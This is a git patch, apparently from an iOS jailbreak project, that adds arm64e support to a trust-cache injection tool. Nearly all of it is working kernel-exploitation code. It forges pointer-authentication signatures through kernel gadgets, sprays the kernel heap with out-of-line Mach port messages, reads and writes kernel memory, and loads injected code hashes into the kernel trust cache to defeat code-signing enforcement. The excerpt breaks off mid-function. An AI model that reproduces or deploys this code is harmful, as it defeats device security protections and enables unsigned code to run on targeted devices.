From 7bca6ad19e54e2edc4ec9cfa10da20a26e294334 Mon Sep 17 00:00:00 2001 From: Pwn20wnd Date: Sat, 9 Mar 2019 23:30:26 +0300 Subject: Merge pwn's changes to support arm64e via rebase --- .gitignore | 2 + Makefile | 8 +- inject.h | 2 +- inject.m | 10 +- kern_funcs.c | 33 + kern_funcs.h | 28 + kernel_call/IOKitLib.h | 76 ++ kernel_call/ipc_port.h | 52 ++ kernel_call/kc_parameters.c | 188 +++++ kernel_call/kc_parameters.h | 92 +++ kernel_call/kernel_alloc.c | 598 +++++++++++++++ kernel_call/kernel_alloc.h | 291 ++++++++ kernel_call/kernel_call.c | 44 ++ kernel_call/kernel_call.h | 93 +++ kernel_call/kernel_memory.c | 129 ++++ kernel_call/kernel_memory.h | 132 ++++ kernel_call/kernel_slide.c | 88 +++ kernel_call/kernel_slide.h | 42 ++ kernel_call/log.c | 37 + kernel_call/log.h | 57 ++ kernel_call/mach_vm.h | 46 ++ kernel_call/pac.c | 272 +++++++ kernel_call/pac.h | 48 ++ kernel_call/parameters.c | 212 ++++++ kernel_call/parameters.h | 130 ++++ kernel_call/platform.c | 54 ++ kernel_call/platform.h | 99 +++ kernel_call/platform_match.c | 346 +++++++++ kernel_call/platform_match.h | 62 ++ kernel_call/user_client.c | 363 +++++++++ kernel_call/user_client.h | 91 +++ main.m | 35 +- patchfinder64 | 2 +- patchfinder64.c | 1678 ------------------------------------------ patchfinder64.h | 55 -- 35 files changed, 3748 insertions(+), 1747 deletions(-) create mode 100755 kernel_call/IOKitLib.h create mode 100755 kernel_call/ipc_port.h create mode 100755 kernel_call/kc_parameters.c create mode 100755 kernel_call/kc_parameters.h create mode 100755 kernel_call/kernel_alloc.c create mode 100755 kernel_call/kernel_alloc.h create mode 100755 kernel_call/kernel_call.c create mode 100755 kernel_call/kernel_call.h create mode 100755 kernel_call/kernel_memory.c create mode 100755 kernel_call/kernel_memory.h create mode 100755 kernel_call/kernel_slide.c create mode 100755 kernel_call/kernel_slide.h create mode 100755 kernel_call/log.c create mode 100755 kernel_call/log.h create mode 100755 kernel_call/mach_vm.h create mode 100755 kernel_call/pac.c create mode 100755 kernel_call/pac.h create mode 100755 kernel_call/parameters.c create mode 100755 kernel_call/parameters.h create mode 100755 kernel_call/platform.c create mode 100755 kernel_call/platform.h create mode 100755 kernel_call/platform_match.c create mode 100755 kernel_call/platform_match.h create mode 100755 kernel_call/user_client.c create mode 100755 kernel_call/user_client.h delete mode 100644 patchfinder64.c delete mode 100644 patchfinder64.h diff --git a/.gitignore b/.gitignore index 031616e..c8d5fdf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,5 @@ .theos obj packages +.DS_Store + diff --git a/Makefile b/Makefile index a66032e..86c2eb2 100644 --- a/Makefile +++ b/Makefile @@ -1,13 +1,13 @@ -ARCHS ?= arm64 +ARCHS ?= arm64 arm64e target ?= iphone:latest:11.0 CFLAGS = -Iinclude -Wno-error=unused-variable -Wno-error=unused-function include $(THEOS)/makefiles/common.mk TOOL_NAME = inject inject_CODESIGN_FLAGS = -Sentitlements.xml -inject_CFLAGS += -I./patchfinder64 -Wno-unused-variable -Wno-unused-function +inject_CFLAGS += -I. -I./patchfinder64 -I./kernel_call -Wno-unused-variable -Wno-unused-function -Wno-unused-label inject_LIBRARIES = mis -inject_FRAMEWORKS = IOKit Security -inject_FILES = main.m inject.m patchfinder64/patchfinder64.c kern_funcs.c +inject_FRAMEWORKS = Foundation CoreFoundation IOKit Security +inject_FILES = main.m inject.m patchfinder64/patchfinder64.c kern_funcs.c kernel_call/kc_parameters.c kernel_call/kernel_alloc.c kernel_call/kernel_call.c kernel_call/kernel_memory.c kernel_call/kernel_slide.c kernel_call/log.c kernel_call/pac.c kernel_call/parameters.c kernel_call/platform_match.c kernel_call/platform.c kernel_call/user_client.c include $(THEOS_MAKE_PATH)/tool.mk diff --git a/inject.h b/inject.h index 14c45aa..3f80b33 100644 --- a/inject.h +++ b/inject.h @@ -11,7 +11,7 @@ #include NSString *cdhashFor(NSString *file); -int injectTrustCache(NSArray *files, uint64_t trust_chain); +int injectTrustCache(NSArray *files, uint64_t trust_chain, int (*pmap_load_trust_cache)(uint64_t, size_t)); bool isInAMFIStaticCache(NSString *path); #endif diff --git a/inject.m b/inject.m index 64eacd2..5f39e2b 100644 --- a/inject.m +++ b/inject.m @@ -150,15 +150,15 @@ NSArray *filteredHashes(uint64_t trust_chain, NSDictionary *hashes) { #endif } -int injectTrustCache(NSArray *files, uint64_t trust_chain) { +int injectTrustCache(NSArray *files, uint64_t trust_chain, int (*pmap_load_trust_cache)(uint64_t, size_t)) +{ @autoreleasepool { struct trust_mem mem; uint64_t kernel_trust = 0; mem.next = rk64(trust_chain); mem.count = 0; - *(uint64_t *)&mem.uuid[0] = 0xabadbabeabadbabe; - *(uint64_t *)&mem.uuid[8] = 0xabadbabeabadbabe; + arc4random_buf(&mem.uuid, 16); NSMutableDictionary *hashes = [NSMutableDictionary new]; int errors=0; @@ -190,7 +190,7 @@ int injectTrustCache(NSArray *files, uint64_t trust_chain) { return errors; } - size_t length = (sizeof(mem) + hashesToInject * TRUST_CDHASH_LEN + 0xFFFF) & ~0xFFFF; + size_t length = (sizeof(mem) + hashesToInject * TRUST_CDHASH_LEN + 0x3FFF) & ~0x3FFF; char *buffer = malloc(hashesToInject * TRUST_CDHASH_LEN); if (buffer == NULL) { fprintf(stderr, "Unable to allocate memory for cdhashes: %s\n", strerror(errno)); @@ -206,7 +206,7 @@ int injectTrustCache(NSArray *files, uint64_t trust_chain) { mem.count = hashesToInject; kwrite(kernel_trust, &mem, sizeof(mem)); kwrite(kernel_trust + sizeof(mem), buffer, mem.count * TRUST_CDHASH_LEN); - wk64(trust_chain, kernel_trust); + pmap_load_trust_cache(kernel_trust, length); return (int)errors; } diff --git a/kern_funcs.c b/kern_funcs.c index a1f03c8..553d25c 100644 --- a/kern_funcs.c +++ b/kern_funcs.c @@ -19,7 +19,14 @@ #include "patchfinder64.h" #include #include "CSCommon.h" +#include "kern_funcs.h" +#include "kernel_call.h" +#include "parameters.h" +#include "kc_parameters.h" +#include "kernel_memory.h" +offsets_t offs; +uint64_t kernel_base; static mach_port_t tfp0=MACH_PORT_NULL; size_t kread(uint64_t where, void *p, size_t size); size_t kwrite(uint64_t where, const void *p, size_t size); @@ -117,3 +124,29 @@ size_t kwrite(uint64_t where, const void *p, size_t size) } return offset; } + +uint64_t task_self_addr() { + uint64_t kernproc = rk64(rk64(GETOFFSET(kernel_task)) + OFFSET(task, bsd_info)); + uint64_t proc = kernproc; + pid_t our_pid = getpid(); + uint64_t our_proc = 0; + while (proc) { + if (rk32(proc + OFFSET(proc, p_pid)) == our_pid) { + our_proc = proc; + break; + } + proc = rk64(proc + OFFSET(proc, p_list)); + } + uint64_t task_addr = rk64(our_proc + OFFSET(proc, task)); + uint64_t itk_space = rk64(task_addr + OFFSET(task, itk_space)); + uint64_t is_table = rk64(itk_space + OFFSET(ipc_space, is_table)); + mach_port_t port = mach_task_self(); + uint32_t port_index = port >> 8; + const int sizeof_ipc_entry_t = SIZE(ipc_entry); + uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); + return port_addr; +} + +int _pmap_load_trust_cache(uint64_t kernel_trust, size_t length) { + return (int)kernel_call_7(GETOFFSET(pmap_load_trust_cache), 3, kernel_trust, length, 0); +} diff --git a/kern_funcs.h b/kern_funcs.h index 83bb80c..e6633a7 100644 --- a/kern_funcs.h +++ b/kern_funcs.h @@ -1,6 +1,32 @@ #ifndef _KERN_FUNCS_H_ #define _KERN_FUNCS_H_ +#define SETOFFSET(offset, val) (offs.offset = val) +#define GETOFFSET(offset) offs.offset + +typedef struct { + uint64_t trustcache; + uint64_t kernel_task; + uint64_t pmap_load_trust_cache; + uint64_t paciza_pointer__l2tp_domain_module_start; + uint64_t paciza_pointer__l2tp_domain_module_stop; + uint64_t l2tp_domain_inited; + uint64_t sysctl__net_ppp_l2tp; + uint64_t sysctl_unregister_oid; + uint64_t mov_x0_x4__br_x5; + uint64_t mov_x9_x0__br_x1; + uint64_t mov_x10_x3__br_x6; + uint64_t kernel_forge_pacia_gadget; + uint64_t kernel_forge_pacda_gadget; + uint64_t IOUserClient__vtable; + uint64_t IORegistryEntry__getRegistryEntryID; + uint64_t pmap_loaded_trust_caches; +} offsets_t; + +extern offsets_t offs; +extern uint64_t kernel_base; +extern uint64_t kernel_slide; + void set_tfp0(mach_port_t port); void wk32(uint64_t kaddr, uint32_t val); void wk64(uint64_t kaddr, uint64_t val); @@ -9,5 +35,7 @@ uint64_t rk64(uint64_t kaddr); uint64_t kmem_alloc(uint64_t size); size_t kread(uint64_t where, void *p, size_t size); size_t kwrite(uint64_t where, const void *p, size_t size); +uint64_t task_self_addr(void); +int _pmap_load_trust_cache(uint64_t kernel_trust, size_t length); #endif // _KERN_FUNCS_H_ diff --git a/kernel_call/IOKitLib.h b/kernel_call/IOKitLib.h new file mode 100755 index 0000000..fdefd8d --- /dev/null +++ b/kernel_call/IOKitLib.h @@ -0,0 +1,76 @@ +/* + * IOKitLib.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__IOKITLIB_H_ +#define VOUCHER_SWAP__IOKITLIB_H_ + +#include +#include + +typedef mach_port_t io_object_t; +typedef io_object_t io_connect_t; +typedef io_object_t io_iterator_t; +typedef io_object_t io_service_t; + +extern const mach_port_t kIOMasterPortDefault; + +kern_return_t +IOObjectRelease( + io_object_t object ); + +io_object_t +IOIteratorNext( + io_iterator_t iterator ); + +io_service_t +IOServiceGetMatchingService( + mach_port_t masterPort, + CFDictionaryRef matching CF_RELEASES_ARGUMENT); + +kern_return_t +IOServiceGetMatchingServices( + mach_port_t masterPort, + CFDictionaryRef matching CF_RELEASES_ARGUMENT, + io_iterator_t * existing ); + +kern_return_t +IOServiceOpen( + io_service_t service, + task_port_t owningTask, + uint32_t type, + io_connect_t * connect ); + +kern_return_t +IOServiceClose( + io_connect_t connect ); + +kern_return_t +IOConnectCallMethod( + mach_port_t connection, // In + uint32_t selector, // In + const uint64_t *input, // In + uint32_t inputCnt, // In + const void *inputStruct, // In + size_t inputStructCnt, // In + uint64_t *output, // Out + uint32_t *outputCnt, // In/Out + void *outputStruct, // Out + size_t *outputStructCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectTrap6(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4, + uintptr_t p5, + uintptr_t p6); + +CFMutableDictionaryRef +IOServiceMatching( + const char * name ) CF_RETURNS_RETAINED; + +#endif diff --git a/kernel_call/ipc_port.h b/kernel_call/ipc_port.h new file mode 100755 index 0000000..c48e20d --- /dev/null +++ b/kernel_call/ipc_port.h @@ -0,0 +1,52 @@ +/* + * ipc_port.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__IPC_PORT_H_ +#define VOUCHER_SWAP__IPC_PORT_H_ + +#include +#include + +// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------ + +#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) + +#define WQT_QUEUE 0x2 + +union waitq_flags { + struct { + uint32_t /* flags */ + waitq_type:2, /* only public field */ + waitq_fifo:1, /* fifo wakeup policy? */ + waitq_prepost:1, /* waitq supports prepost? */ + waitq_irq:1, /* waitq requires interrupts disabled */ + waitq_isvalid:1, /* waitq structure is valid */ + waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ + waitq_eventmask:_EVENT_MASK_BITS; + }; + uint32_t flags; +}; + +// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------ + +#define IKOT_NONE 0 +#define IKOT_TASK 2 + +// ---- osfmk/ipc/ipc_object.h -------------------------------------------------------------------- + +#define IO_BITS_KOTYPE 0x00000fff /* used by the object */ +#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */ + +#define io_makebits(active, otype, kotype) \ + (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype)) + +#define IOT_PORT 0 + +// ---- Custom definitions ------------------------------------------------------------------------ + +#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t))) + +// ------------------------------------------------------------------------------------------------ + +#endif diff --git a/kernel_call/kc_parameters.c b/kernel_call/kc_parameters.c new file mode 100755 index 0000000..76e483e --- /dev/null +++ b/kernel_call/kc_parameters.c @@ -0,0 +1,188 @@ +/* + * kernel_call/kc_parameters.c + * Brandon Azad + */ +#define KERNEL_CALL_PARAMETERS_EXTERN +#include "kc_parameters.h" + +#include "kernel_slide.h" +#include "log.h" +#include "platform.h" +#include "platform_match.h" +#include "kern_funcs.h" + +// ---- Initialization routines ------------------------------------------------------------------- + +// A struct describing an initialization. +struct initialization { + const char *devices; + const char *builds; + void (*init)(void); +}; + +// Run initializations matching this platform. +static size_t +run_initializations(struct initialization *inits, size_t count) { + size_t match_count = 0; + for (size_t i = 0; i < count; i++) { + struct initialization *init = &inits[i]; + if (platform_matches(init->devices, init->builds)) { + init->init(); + match_count++; + } + } + return match_count; +} + +// A helper macro to get the number of elements in a static array. +#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) + +// ---- Offset initialization --------------------------------------------------------------------- + +static void +offsets__iphone11_8__16C50() { + OFFSET(IOAudio2DeviceUserClient, traps) = 0x118; + + SIZE(IOExternalTrap) = 0x18; + OFFSET(IOExternalTrap, object) = 0; + OFFSET(IOExternalTrap, function) = 8; + OFFSET(IOExternalTrap, offset) = 16; + + OFFSET(IORegistryEntry, reserved) = 16; + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8; + + VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8; + VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8; +} + +// A list of offset initializations by platform. +static struct initialization offsets[] = { + { "*", "*", offsets__iphone11_8__16C50 }, +}; + +// ---- Address initialization -------------------------------------------------------------------- + +#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide) + +static void +addresses__iphone11_2__16A366() { + ADDRESS(paciza_pointer__l2tp_domain_module_start) = GETOFFSET(paciza_pointer__l2tp_domain_module_start); + ADDRESS(paciza_pointer__l2tp_domain_module_stop) = GETOFFSET(paciza_pointer__l2tp_domain_module_stop); + ADDRESS(l2tp_domain_inited) = GETOFFSET(l2tp_domain_inited); + ADDRESS(sysctl__net_ppp_l2tp) = GETOFFSET(sysctl__net_ppp_l2tp); + ADDRESS(sysctl_unregister_oid) = GETOFFSET(sysctl_unregister_oid); + ADDRESS(mov_x0_x4__br_x5) = GETOFFSET(mov_x0_x4__br_x5); + ADDRESS(mov_x9_x0__br_x1) = GETOFFSET(mov_x9_x0__br_x1); + ADDRESS(mov_x10_x3__br_x6) = GETOFFSET(mov_x10_x3__br_x6); + ADDRESS(kernel_forge_pacia_gadget) = GETOFFSET(kernel_forge_pacia_gadget); + ADDRESS(kernel_forge_pacda_gadget) = GETOFFSET(kernel_forge_pacda_gadget); + SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; + OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; + OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; + OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; + ADDRESS(IOUserClient__vtable) = GETOFFSET(IOUserClient__vtable); + ADDRESS(IORegistryEntry__getRegistryEntryID) = GETOFFSET(IORegistryEntry__getRegistryEntryID); +} + +// A list of address initializations by platform. +static struct initialization addresses[] = { + { "*", "16A366-16D5024a", addresses__iphone11_2__16A366 }, +}; + +// ---- PAC initialization ------------------------------------------------------------------------ + +#if __arm64e__ + +static void +pac__iphone11_8__16C50() { + INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient, + 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, + 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, + 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, + 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, + 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, + 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, + 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, + 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, + 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, + 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, + 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, + 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, + 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, + 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, + 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, + 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, + 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, + 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, + 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, + 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, + 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352, + 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b, + 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23, + 0x2bcb); + + INIT_VTABLE_PAC_CODES(IODTNVRAM, + 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, + 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, + 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, + 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, + 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, + 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, + 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, + 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, + 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, + 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, + 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, + 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, + 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, + 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, + 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, + 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, + 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, + 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, + 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, + 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, + 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428, + 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584, + 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201, + 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7, + 0xb1db, 0x7d35, 0xb06d, 0xcf08); +} + +// A list of PAC initializations by platform. +static struct initialization pac_codes[] = { + { "*", "*", pac__iphone11_8__16C50 }, +}; + +#endif // __arm64e__ + +// ---- Public API -------------------------------------------------------------------------------- + +bool +kernel_call_parameters_init() { + bool ok = kernel_slide_init(); + if (!ok) { + return false; + } + size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); + if (count < 1) { + ERROR("no kernel_call %s for %s %s", "offsets", + platform.machine, platform.osversion); + return false; + } + count = run_initializations(addresses, ARRAY_COUNT(addresses)); + if (count < 1) { + ERROR("no kernel_call %s for %s %s", "addresses", + platform.machine, platform.osversion); + return false; + } +#if __arm64e__ + count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes)); + if (count < 1) { + ERROR("no kernel_call %s for %s %s", "PAC codes", + platform.machine, platform.osversion); + return false; + } +#endif // __arm64e__ + return true; +} diff --git a/kernel_call/kc_parameters.h b/kernel_call/kc_parameters.h new file mode 100755 index 0000000..ef717a0 --- /dev/null +++ b/kernel_call/kc_parameters.h @@ -0,0 +1,92 @@ +/* + * kernel_call/kc_parameters.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ +#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ + +#include +#include +#include + +#include "parameters.h" + +#ifdef KERNEL_CALL_PARAMETERS_EXTERN +#define extern KERNEL_CALL_PARAMETERS_EXTERN +#endif + +// A structure describing the PAC codes used as part of the context for signing and verifying +// virtual method pointers in a vtable. +struct vtable_pac_codes { + size_t count; + const uint16_t *codes; +}; + +// Generate the name for an offset in a virtual method table. +#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_ + +// Generate the name for a list of vtable PAC codes. +#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_ + +// A helper macro for INIT_VTABLE_PAC_CODES(). +#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_ + +// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory, +// we place it in a static variable. Consequently, this macro will produce name conflicts if used +// outside a function. +#define INIT_VTABLE_PAC_CODES(class_, ...) \ + static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \ + VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \ + .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \ + .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \ + } + +extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start); +extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop); +extern uint64_t ADDRESS(l2tp_domain_inited); +extern uint64_t ADDRESS(sysctl__net_ppp_l2tp); +extern uint64_t ADDRESS(sysctl_unregister_oid); +extern uint64_t ADDRESS(mov_x0_x4__br_x5); +extern uint64_t ADDRESS(mov_x9_x0__br_x1); +extern uint64_t ADDRESS(mov_x10_x3__br_x6); +extern uint64_t ADDRESS(kernel_forge_pacia_gadget); +extern uint64_t ADDRESS(kernel_forge_pacda_gadget); +extern uint64_t ADDRESS(IOUserClient__vtable); +extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID); + +extern size_t SIZE(kernel_forge_pacxa_gadget_buffer); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); + +extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient); +extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM); + +// Parameters for IOAudio2DeviceUserClient. +extern size_t OFFSET(IOAudio2DeviceUserClient, traps); + +// Parameters for IOExternalTrap. +extern size_t SIZE(IOExternalTrap); +extern size_t OFFSET(IOExternalTrap, object); +extern size_t OFFSET(IOExternalTrap, function); +extern size_t OFFSET(IOExternalTrap, offset); + +// Parameters for IORegistryEntry. +extern size_t OFFSET(IORegistryEntry, reserved); +extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); + +// Parameters for IOUserClient. +extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex); +extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex); + +/* + * kernel_call_parameters_init + * + * Description: + * Initialize the addresses used in the kernel_call subsystem. + */ +bool kernel_call_parameters_init(void); + +#undef extern + +#endif diff --git a/kernel_call/kernel_alloc.c b/kernel_call/kernel_alloc.c new file mode 100755 index 0000000..09a06cb --- /dev/null +++ b/kernel_call/kernel_alloc.c @@ -0,0 +1,598 @@ +/* + * kernel_alloc.c + * Brandon Azad + */ +#include "kernel_alloc.h" + +#include +#include +#include +#include +#include +#include + +#include "log.h" +#include "parameters.h" +#include "platform.h" + +// Compute the minimum of 2 values. +#define min(a, b) ((a) < (b) ? (a) : (b)) + +size_t +message_size_for_kalloc_size(size_t kalloc_size) { + if (kalloc_size <= kmsg_zone_size) { + return 0; + } + // Thanks Ian! + return ((3 * kalloc_size) / 4) - 0x74; +} + +size_t +kalloc_size_for_message_size(size_t message_size) { + if (message_size <= message_size_for_kmsg_zone) { + return 0; + } + return message_size + ((message_size - 28) / 12) * 4 + 164; +} + +size_t +ipc_kmsg_size_for_message_size(size_t message_size) { + if (message_size <= message_size_for_kmsg_zone) { + return kmsg_zone_size; + } + return kalloc_size_for_message_size(message_size); +} + +// A message containing out-of-line ports. +struct ool_ports_msg { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_ports_descriptor_t ool_ports[0]; +}; + +size_t +ool_ports_spray_port(mach_port_t holding_port, + const mach_port_t *ool_ports, size_t port_count, + mach_msg_type_name_t ool_disposition, size_t ool_count, + size_t message_size, size_t message_count) { + // Calculate the size of each component. + struct ool_ports_msg *msg; + // Sanity checks. + assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size); + assert(port_count * ool_count <= max_ool_ports_per_message); + assert(message_count <= MACH_PORT_QLIMIT_MAX); + // Allocate a message containing the required number of OOL ports descriptors. + msg = calloc(1, message_size); + assert(msg != NULL); + // Trace the kalloc allocations we're about to perform. + DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__, + ool_count * message_count, port_count * sizeof(uint64_t), + message_count, kalloc_size_for_message_size(message_size)); + // If the user didn't supply any ool_ports, create our own. + mach_port_t *alloc_ports = NULL; + if (ool_ports == NULL) { + alloc_ports = calloc(port_count, sizeof(mach_port_t)); + assert(alloc_ports != NULL); + ool_ports = alloc_ports; + } + // Populate the message. Each OOL ports descriptor will be a kalloc. + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg->header.msgh_remote_port = holding_port; + msg->header.msgh_size = (mach_msg_size_t) message_size; + msg->header.msgh_id = 'ools'; + msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count; + mach_msg_ool_ports_descriptor_t ool_descriptor = {}; + ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + ool_descriptor.address = (void *) ool_ports; + ool_descriptor.count = (mach_msg_size_t) port_count; + ool_descriptor.deallocate = FALSE; + ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY; + ool_descriptor.disposition = ool_disposition; + for (size_t i = 0; i < ool_count; i++) { + msg->ool_ports[i] = ool_descriptor; + } + // Send the messages. + size_t messages_sent = 0; + for (; messages_sent < message_count; messages_sent++) { + kern_return_t kr = mach_msg( + &msg->header, + MACH_SEND_MSG | MACH_MSG_OPTION_NONE, + (mach_msg_size_t) message_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); + break; + } + } + // Clean up the allocated ports. + if (alloc_ports != NULL) { + free(alloc_ports); + } + // Return the number of messages we sent. + return messages_sent; +} + +/* + * kalloc_spray_compute_message_shape + * + * Description: + * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is + * good for consuming memory, not for overwriting memory with specific contents. + */ +static void +kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone, + size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) { + assert(kmsg_zone_size < kalloc_min); + assert(kalloc_min <= kalloc_zone); + // We always want to maximize the number of OOL port 